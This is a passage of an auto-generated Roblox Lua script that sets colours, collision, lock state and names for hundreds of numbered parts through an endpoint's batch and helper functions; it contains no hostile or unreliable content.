Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[677] then colorBatch[#colorBatch+1] = {Part = P[677], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[650] then colorBatch[#colorBatch+1] = {Part = P[650], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[661] then colorBatch[#colorBatch+1] = {Part = P[661], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[599] then colorBatch[#colorBatch+1] = {Part = P[599], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[498] then colorBatch[#colorBatch+1] = {Part = P[498], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[186] then colorBatch[#colorBatch+1] = {Part = P[186], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[504] then colorBatch[#colorBatch+1] = {Part = P[504], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[646] then colorBatch[#colorBatch+1] = {Part = P[646], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[132] then colorBatch[#colorBatch+1] = {Part = P[132], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[623] then colorBatch[#colorBatch+1] = {Part = P[623], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end if P[488] then colorBatch[#colorBatch+1] = {Part = P[488], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[157] then colorBatch[#colorBatch+1] = {Part = P[157], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[507] then colorBatch[#colorBatch+1] = {Part = P[507], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[247] then colorBatch[#colorBatch+1] = {Part = P[247], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[660] then colorBatch[#colorBatch+1] = {Part = P[660], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[672] then colorBatch[#colorBatch+1] = {Part = P[672], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[456] then colorBatch[#colorBatch+1] = {Part = P[456], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[467] then colorBatch[#colorBatch+1] = {Part = P[467], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[123] then colorBatch[#colorBatch+1] = {Part = P[123], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[773] then colorBatch[#colorBatch+1] = {Part = P[773], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[652] then colorBatch[#colorBatch+1] = {Part = P[652], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end if P[655] then colorBatch[#colorBatch+1] = {Part = P[655], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end if P[688] then colorBatch[#colorBatch+1] = {Part = P[688], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end if P[761] then colorBatch[#colorBatch+1] = {Part = P[761], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[755] then colorBatch[#colorBatch+1] = {Part = P[755], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[549] then colorBatch[#colorBatch+1] = {Part = P[549], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[741] then colorBatch[#colorBatch+1] = {Part = P[741], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[494] then colorBatch[#colorBatch+1] = {Part = P[494], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[433] then colorBatch[#colorBatch+1] = {Part = P[433], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[238] then colorBatch[#colorBatch+1] = {Part = P[238], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[537] then colorBatch[#colorBatch+1] = {Part = P[537], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[729] then colorBatch[#colorBatch+1] = {Part = P[729], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[227] then colorBatch[#colorBatch+1] = {Part = P[227], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[712] then colorBatch[#colorBatch+1] = {Part = P[712], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[96] then colorBatch[#colorBatch+1] = {Part = P[96], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[546] then colorBatch[#colorBatch+1] = {Part = P[546], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[724] then colorBatch[#colorBatch+1] = {Part = P[724], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[482] then colorBatch[#colorBatch+1] = {Part = P[482], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[603] then colorBatch[#colorBatch+1] = {Part = P[603], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[639] then colorBatch[#colorBatch+1] = {Part = P[639], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[716] then colorBatch[#colorBatch+1] = {Part = P[716], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end if P[265] then colorBatch[#colorBatch+1] = {Part = P[265], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end if P[552] then colorBatch[#colorBatch+1] = {Part = P[552], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[709] then colorBatch[#colorBatch+1] = {Part = P[709], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[674] then colorBatch[#colorBatch+1] = {Part = P[674], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[87] then colorBatch[#colorBatch+1] = {Part = P[87], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[583] then colorBatch[#colorBatch+1] = {Part = P[583], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end if P[256] then colorBatch[#colorBatch+1] = {Part = P[256], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end if P[105] then colorBatch[#colorBatch+1] = {Part = P[105], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end if P[516] then colorBatch[#colorBatch+1] = {Part = P[516], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[682] then colorBatch[#colorBatch+1] = {Part = P[682], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[485] then colorBatch[#colorBatch+1] = {Part = P[485], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[564] then colorBatch[#colorBatch+1] = {Part = P[564], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[665] then colorBatch[#colorBatch+1] = {Part = P[665], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[430] then colorBatch[#colorBatch+1] = {Part = P[430], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[543] then colorBatch[#colorBatch+1] = {Part = P[543], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[662] then colorBatch[#colorBatch+1] = {Part = P[662], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[659] then colorBatch[#colorBatch+1] = {Part = P[659], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end if P[591] then colorBatch[#colorBatch+1] = {Part = P[591], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end if P[513] then colorBatch[#colorBatch+1] = {Part = P[513], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end if P[454] then colorBatch[#colorBatch+1] = {Part = P[454], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[458] then colorBatch[#colorBatch+1] = {Part = P[458], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[451] then colorBatch[#colorBatch+1] = {Part = P[451], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end if P[644] then colorBatch[#colorBatch+1] = {Part = P[644], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end batchColor(endpoint, colorBatch) local collisionBatch = {} if P[8] then collisionBatch[#collisionBatch+1] = {Part = P[8], CanCollide = true} end if P[9] then collisionBatch[#collisionBatch+1] = {Part = P[9], CanCollide = true} end if P[10] then collisionBatch[#collisionBatch+1] = {Part = P[10], CanCollide = true} end if P[11] then collisionBatch[#collisionBatch+1] = {Part = P[11], CanCollide = true} end if P[12] then collisionBatch[#collisionBatch+1] = {Part = P[12], CanCollide = true} end if P[14] then collisionBatch[#collisionBatch+1] = {Part = P[14], CanCollide = true} end if P[15] then collisionBatch[#collisionBatch+1] = {Part = P[15], CanCollide = true} end if P[16] then collisionBatch[#collisionBatch+1] = {Part = P[16], CanCollide = true} end if P[17] then collisionBatch[#collisionBatch+1] = {Part = P[17], CanCollide = true} end if P[18] then collisionBatch[#collisionBatch+1] = {Part = P[18], CanCollide = true} end if P[21] then collisionBatch[#collisionBatch+1] = {Part = P[21], CanCollide = false} end if P[22] then collisionBatch[#collisionBatch+1] = {Part = P[22], CanCollide = false} end if P[23] then collisionBatch[#collisionBatch+1] = {Part = P[23], CanCollide = false} end if P[24] then collisionBatch[#collisionBatch+1] = {Part = P[24], CanCollide = false} end if P[25] then collisionBatch[#collisionBatch+1] = {Part = P[25], CanCollide = false} end if P[26] then collisionBatch[#collisionBatch+1] = {Part = P[26], CanCollide = false} end if P[27] then collisionBatch[#collisionBatch+1] = {Part = P[27], CanCollide = false} end if P[28] then collisionBatch[#collisionBatch+1] = {Part = P[28], CanCollide = false} end if P[29] then collisionBatch[#collisionBatch+1] = {Part = P[29], CanCollide = false} end if P[30] then collisionBatch[#collisionBatch+1] = {Part = P[30], CanCollide = false} end if P[31] then collisionBatch[#collisionBatch+1] = {Part = P[31], CanCollide = false} end if P[32] then collisionBatch[#collisionBatch+1] = {Part = P[32], CanCollide = false} end if P[33] then collisionBatch[#collisionBatch+1] = {Part = P[33], CanCollide = false} end if P[34] then collisionBatch[#collisionBatch+1] = {Part = P[34], CanCollide = false} end if P[35] then collisionBatch[#collisionBatch+1] = {Part = P[35], CanCollide = false} end if P[36] then collisionBatch[#collisionBatch+1] = {Part = P[36], CanCollide = false} end if P[37] then collisionBatch[#collisionBatch+1] = {Part = P[37], CanCollide = false} end if P[38] then collisionBatch[#collisionBatch+1] = {Part = P[38], CanCollide = false} end if P[39] then collisionBatch[#collisionBatch+1] = {Part = P[39], CanCollide = false} end if P[40] then collisionBatch[#collisionBatch+1] = {Part = P[40], CanCollide = false} end if P[41] then collisionBatch[#collisionBatch+1] = {Part = P[41], CanCollide = false} end if P[42] then collisionBatch[#collisionBatch+1] = {Part = P[42], CanCollide = false} end if P[43] then collisionBatch[#collisionBatch+1] = {Part = P[43], CanCollide = false} end if P[44] then collisionBatch[#collisionBatch+1] = {Part = P[44], CanCollide = false} end if P[45] then collisionBatch[#collisionBatch+1] = {Part = P[45], CanCollide = false} end if P[46] then collisionBatch[#collisionBatch+1] = {Part = P[46], CanCollide = false} end if P[151] then collisionBatch[#collisionBatch+1] = {Part = P[151], CanCollide = true} end if P[673] then collisionBatch[#collisionBatch+1] = {Part = P[673], CanCollide = true} end if P[685] then collisionBatch[#collisionBatch+1] = {Part = P[685], CanCollide = true} end if P[706] then collisionBatch[#collisionBatch+1] = {Part = P[706], CanCollide = true} end if P[561] then collisionBatch[#collisionBatch+1] = {Part = P[561], CanCollide = true} end if P[667] then collisionBatch[#collisionBatch+1] = {Part = P[667], CanCollide = true} end if P[675] then collisionBatch[#collisionBatch+1] = {Part = P[675], CanCollide = true} end if P[736] then collisionBatch[#collisionBatch+1] = {Part = P[736], CanCollide = true} end if P[519] then collisionBatch[#collisionBatch+1] = {Part = P[519], CanCollide = true} end if P[700] then collisionBatch[#collisionBatch+1] = {Part = P[700], CanCollide = true} end if P[510] then collisionBatch[#collisionBatch+1] = {Part = P[510], CanCollide = true} end if P[587] then collisionBatch[#collisionBatch+1] = {Part = P[587], CanCollide = true} end if P[464] then collisionBatch[#collisionBatch+1] = {Part = P[464], CanCollide = true} end if P[611] then collisionBatch[#collisionBatch+1] = {Part = P[611], CanCollide = true} end if P[571] then collisionBatch[#collisionBatch+1] = {Part = P[571], CanCollide = true} end if P[635] then collisionBatch[#collisionBatch+1] = {Part = P[635], CanCollide = true} end if P[166] then collisionBatch[#collisionBatch+1] = {Part = P[166], CanCollide = true} end if P[435] then collisionBatch[#collisionBatch+1] = {Part = P[435], CanCollide = true} end if P[555] then collisionBatch[#collisionBatch+1] = {Part = P[555], CanCollide = true} end if P[175] then collisionBatch[#collisionBatch+1] = {Part = P[175], CanCollide = true} end if P[663] then collisionBatch[#collisionBatch+1] = {Part = P[663], CanCollide = false} end if P[579] then collisionBatch[#collisionBatch+1] = {Part = P[579], CanCollide = true} end if P[657] then collisionBatch[#collisionBatch+1] = {Part = P[657], CanCollide = true} end if P[470] then collisionBatch[#collisionBatch+1] = {Part = P[470], CanCollide = true} end if P[767] then collisionBatch[#collisionBatch+1] = {Part = P[767], CanCollide = true} end if P[491] then collisionBatch[#collisionBatch+1] = {Part = P[491], CanCollide = true} end if P[607] then collisionBatch[#collisionBatch+1] = {Part = P[607], CanCollide = true} end if P[631] then collisionBatch[#collisionBatch+1] = {Part = P[631], CanCollide = true} end if P[770] then collisionBatch[#collisionBatch+1] = {Part = P[770], CanCollide = true} end if P[473] then collisionBatch[#collisionBatch+1] = {Part = P[473], CanCollide = true} end if P[694] then collisionBatch[#collisionBatch+1] = {Part = P[694], CanCollide = true} end if P[615] then collisionBatch[#collisionBatch+1] = {Part = P[615], CanCollide = true} end if P[428] then collisionBatch[#collisionBatch+1] = {Part = P[428], CanCollide = true} end if P[575] then collisionBatch[#collisionBatch+1] = {Part = P[575], CanCollide = true} end if P[627] then collisionBatch[#collisionBatch+1] = {Part = P[627], CanCollide = true} end if P[501] then collisionBatch[#collisionBatch+1] = {Part = P[501], CanCollide = true} end if P[479] then collisionBatch[#collisionBatch+1] = {Part = P[479], CanCollide = true} end if P[676] then collisionBatch[#collisionBatch+1] = {Part = P[676], CanCollide = true} end if P[595] then collisionBatch[#collisionBatch+1] = {Part = P[595], CanCollide = true} end if P[656] then collisionBatch[#collisionBatch+1] = {Part = P[656], CanCollide = true} end if P[648] then collisionBatch[#collisionBatch+1] = {Part = P[648], CanCollide = true} end if P[78] then collisionBatch[#collisionBatch+1] = {Part = P[78], CanCollide = true} end if P[461] then collisionBatch[#collisionBatch+1] = {Part = P[461], CanCollide = true} end if P[669] then collisionBatch[#collisionBatch+1] = {Part = P[669], CanCollide = true} end if P[82] then collisionBatch[#collisionBatch+1] = {Part = P[82], CanCollide = false} end if P[72] then collisionBatch[#collisionBatch+1] = {Part = P[72], CanCollide = true} end if P[540] then collisionBatch[#collisionBatch+1] = {Part = P[540], CanCollide = true} end if P[703] then collisionBatch[#collisionBatch+1] = {Part = P[703], CanCollide = true} end if P[619] then collisionBatch[#collisionBatch+1] = {Part = P[619], CanCollide = true} end if P[751] then collisionBatch[#collisionBatch+1] = {Part = P[751], CanCollide = true} end if P[522] then collisionBatch[#collisionBatch+1] = {Part = P[522], CanCollide = true} end if P[204] then collisionBatch[#collisionBatch+1] = {Part = P[204], CanCollide = true} end if P[114] then collisionBatch[#collisionBatch+1] = {Part = P[114], CanCollide = true} end if P[525] then collisionBatch[#collisionBatch+1] = {Part = P[525], CanCollide = true} end if P[270] then collisionBatch[#collisionBatch+1] = {Part = P[270], CanCollide = true} end if P[664] then collisionBatch[#collisionBatch+1] = {Part = P[664], CanCollide = true} end if P[745] then collisionBatch[#collisionBatch+1] = {Part = P[745], CanCollide = true} end if P[670] then collisionBatch[#collisionBatch+1] = {Part = P[670], CanCollide = true} end if P[732] then collisionBatch[#collisionBatch+1] = {Part = P[732], CanCollide = true} end if P[271] then collisionBatch[#collisionBatch+1] = {Part = P[271], CanCollide = false} end if P[532] then collisionBatch[#collisionBatch+1] = {Part = P[532], CanCollide = true} end if P[671] then collisionBatch[#collisionBatch+1] = {Part = P[671], CanCollide = true} end if P[268] then collisionBatch[#collisionBatch+1] = {Part = P[268], CanCollide = true} end if P[558] then collisionBatch[#collisionBatch+1] = {Part = P[558], CanCollide = true} end if P[567] then collisionBatch[#collisionBatch+1] = {Part = P[567], CanCollide = true} end if P[697] then collisionBatch[#collisionBatch+1] = {Part = P[697], CanCollide = true} end if P[691] then collisionBatch[#collisionBatch+1] = {Part = P[691], CanCollide = true} end if P[720] then collisionBatch[#collisionBatch+1] = {Part = P[720], CanCollide = true} end if P[476] then collisionBatch[#collisionBatch+1] = {Part = P[476], CanCollide = true} end if P[653] then collisionBatch[#collisionBatch+1] = {Part = P[653], CanCollide = true} end if P[528] then collisionBatch[#collisionBatch+1] = {Part = P[528], CanCollide = true} end if P[677] then collisionBatch[#collisionBatch+1] = {Part = P[677], CanCollide = true} end if P[650] then collisionBatch[#collisionBatch+1] = {Part = P[650], CanCollide = true} end if P[661] then collisionBatch[#collisionBatch+1] = {Part = P[661], CanCollide = true} end if P[599] then collisionBatch[#collisionBatch+1] = {Part = P[599], CanCollide = true} end if P[498] then collisionBatch[#collisionBatch+1] = {Part = P[498], CanCollide = true} end if P[186] then collisionBatch[#collisionBatch+1] = {Part = P[186], CanCollide = false} end if P[504] then collisionBatch[#collisionBatch+1] = {Part = P[504], CanCollide = true} end if P[646] then collisionBatch[#collisionBatch+1] = {Part = P[646], CanCollide = true} end if P[132] then collisionBatch[#collisionBatch+1] = {Part = P[132], CanCollide = true} end if P[623] then collisionBatch[#collisionBatch+1] = {Part = P[623], CanCollide = true} end if P[488] then collisionBatch[#collisionBatch+1] = {Part = P[488], CanCollide = true} end if P[157] then collisionBatch[#collisionBatch+1] = {Part = P[157], CanCollide = true} end if P[507] then collisionBatch[#collisionBatch+1] = {Part = P[507], CanCollide = true} end if P[247] then collisionBatch[#collisionBatch+1] = {Part = P[247], CanCollide = true} end if P[660] then collisionBatch[#collisionBatch+1] = {Part = P[660], CanCollide = true} end if P[672] then collisionBatch[#collisionBatch+1] = {Part = P[672], CanCollide = true} end if P[456] then collisionBatch[#collisionBatch+1] = {Part = P[456], CanCollide = true} end if P[467] then collisionBatch[#collisionBatch+1] = {Part = P[467], CanCollide = true} end if P[123] then collisionBatch[#collisionBatch+1] = {Part = P[123], CanCollide = true} end if P[773] then collisionBatch[#collisionBatch+1] = {Part = P[773], CanCollide = true} end if P[652] then collisionBatch[#collisionBatch+1] = {Part = P[652], CanCollide = true} end if P[655] then collisionBatch[#collisionBatch+1] = {Part = P[655], CanCollide = true} end if P[688] then collisionBatch[#collisionBatch+1] = {Part = P[688], CanCollide = true} end if P[761] then collisionBatch[#collisionBatch+1] = {Part = P[761], CanCollide = true} end if P[755] then collisionBatch[#collisionBatch+1] = {Part = P[755], CanCollide = true} end if P[549] then collisionBatch[#collisionBatch+1] = {Part = P[549], CanCollide = true} end if P[741] then collisionBatch[#collisionBatch+1] = {Part = P[741], CanCollide = true} end if P[494] then collisionBatch[#collisionBatch+1] = {Part = P[494], CanCollide = true} end if P[433] then collisionBatch[#collisionBatch+1] = {Part = P[433], CanCollide = true} end if P[238] then collisionBatch[#collisionBatch+1] = {Part = P[238], CanCollide = true} end if P[537] then collisionBatch[#collisionBatch+1] = {Part = P[537], CanCollide = true} end if P[729] then collisionBatch[#collisionBatch+1] = {Part = P[729], CanCollide = true} end if P[227] then collisionBatch[#collisionBatch+1] = {Part = P[227], CanCollide = true} end if P[712] then collisionBatch[#collisionBatch+1] = {Part = P[712], CanCollide = true} end if P[96] then collisionBatch[#collisionBatch+1] = {Part = P[96], CanCollide = true} end if P[546] then collisionBatch[#collisionBatch+1] = {Part = P[546], CanCollide = true} end if P[724] then collisionBatch[#collisionBatch+1] = {Part = P[724], CanCollide = true} end if P[482] then collisionBatch[#collisionBatch+1] = {Part = P[482], CanCollide = true} end if P[603] then collisionBatch[#collisionBatch+1] = {Part = P[603], CanCollide = true} end if P[639] then collisionBatch[#collisionBatch+1] = {Part = P[639], CanCollide = true} end if P[716] then collisionBatch[#collisionBatch+1] = {Part = P[716], CanCollide = true} end if P[265] then collisionBatch[#collisionBatch+1] = {Part = P[265], CanCollide = true} end if P[552] then collisionBatch[#collisionBatch+1] = {Part = P[552], CanCollide = true} end if P[709] then collisionBatch[#collisionBatch+1] = {Part = P[709], CanCollide = true} end if P[674] then collisionBatch[#collisionBatch+1] = {Part = P[674], CanCollide = true} end if P[87] then collisionBatch[#collisionBatch+1] = {Part = P[87], CanCollide = true} end if P[583] then collisionBatch[#collisionBatch+1] = {Part = P[583], CanCollide = true} end if P[256] then collisionBatch[#collisionBatch+1] = {Part = P[256], CanCollide = true} end if P[105] then collisionBatch[#collisionBatch+1] = {Part = P[105], CanCollide = true} end if P[516] then collisionBatch[#collisionBatch+1] = {Part = P[516], CanCollide = true} end if P[682] then collisionBatch[#collisionBatch+1] = {Part = P[682], CanCollide = true} end if P[485] then collisionBatch[#collisionBatch+1] = {Part = P[485], CanCollide = true} end if P[564] then collisionBatch[#collisionBatch+1] = {Part = P[564], CanCollide = true} end if P[665] then collisionBatch[#collisionBatch+1] = {Part = P[665], CanCollide = true} end if P[430] then collisionBatch[#collisionBatch+1] = {Part = P[430], CanCollide = true} end if P[543] then collisionBatch[#collisionBatch+1] = {Part = P[543], CanCollide = true} end if P[662] then collisionBatch[#collisionBatch+1] = {Part = P[662], CanCollide = true} end if P[659] then collisionBatch[#collisionBatch+1] = {Part = P[659], CanCollide = true} end if P[591] then collisionBatch[#collisionBatch+1] = {Part = P[591], CanCollide = true} end if P[513] then collisionBatch[#collisionBatch+1] = {Part = P[513], CanCollide = true} end if P[454] then collisionBatch[#collisionBatch+1] = {Part = P[454], CanCollide = true} end if P[458] then collisionBatch[#collisionBatch+1] = {Part = P[458], CanCollide = true} end if P[451] then collisionBatch[#collisionBatch+1] = {Part = P[451], CanCollide = true} end if P[644] then collisionBatch[#collisionBatch+1] = {Part = P[644], CanCollide = true} end batchCollision(endpoint, collisionBatch) local lockTasks, nameTasks = {}, {} if P[21] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[21], "P") end) end if P[22] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[22], "D") end) end if P[23] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[23], "L") end) end if P[24] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[24], "L") end) end if P[25] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[25], "E") end) end if P[26] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[26], "D") end) end if P[27] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[27], "R") end) end if P[28] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[28], "O") end) end if P[29] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[29], "R") end) end if P[30] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[30], "A") end) end if P[31] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[31], "P") end) end if P[32] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[32], "D") end) end if P[33] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[33], "ThreeDTextHandle") end) end if P[34] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[34], "T") end) end if P[35] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[35], "E") end) end if P[36] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[36], "M") end) end if P[37] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[37], "B") end) end if P[38] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[38], "A") end) end if P[39] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[39], "T") end) end if P[40] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[40], "A") end) end if P[41] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[41], "ThreeDTextBoundingBox") end) end if P[42] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[42], "Y") end) end if P[43] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[43], "E") end) end if P[44] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[44], "O") end) end if P[45] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[45], "I") end) end if P[46] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[46], "E") end) end if P[151] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[151], "HumanoidRootPart") end) end if P[673] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[673], "DropZone4") end) end if P[675] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[675], "Truss") end) end if P[166] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[166], true) end) end if P[166] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[166], "RightUpperLeg") end) end if P[435] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[435], "Deca") end) end if P[175] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[175], true) end) end if P[175] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[175], "RightUpperArm") end) end if P[663] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[663], "Part1") end) end if P[648] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[648], "SpawnLocation2") end) end if P[82] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[82], true) end) end if P[82] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[82], "Handle") end) end if P[204] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[204], true) end) end if P[204] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[204], "UpperTorso") end) end if P[114] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[114], true) end) end if P[114] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[114], "LeftFoot") end) end if P[670] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[670], "DropZone3") end) end if P[271] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[271], "ScoreBlock") end) end if P[532] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[532], "MeshPart") end) end if P[671] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[671], "DropZone1") end) end if P[268] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[268], "LightSource") end) end if P[653] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[653], "SpawnLocation3") end) end if P[661] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[661], "Truss") end) end if P[186] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[186], true) end) end if P[186] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[186], "Head") end) end if P[646] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[646], "SpawnLocation1") end) end if P[132] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[132], true) end) end if P[132] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[132], "LowerTorso") end) end if P[157] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[157], true) end) end if P[157] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[157], "RightLowerLeg") end) end if P[247] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[247], true) end) end if P[247] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[247], "RightHand") end) end if P[660] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[660], "Truss") end) end if P[672] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[672], "DropZone5") end) end if 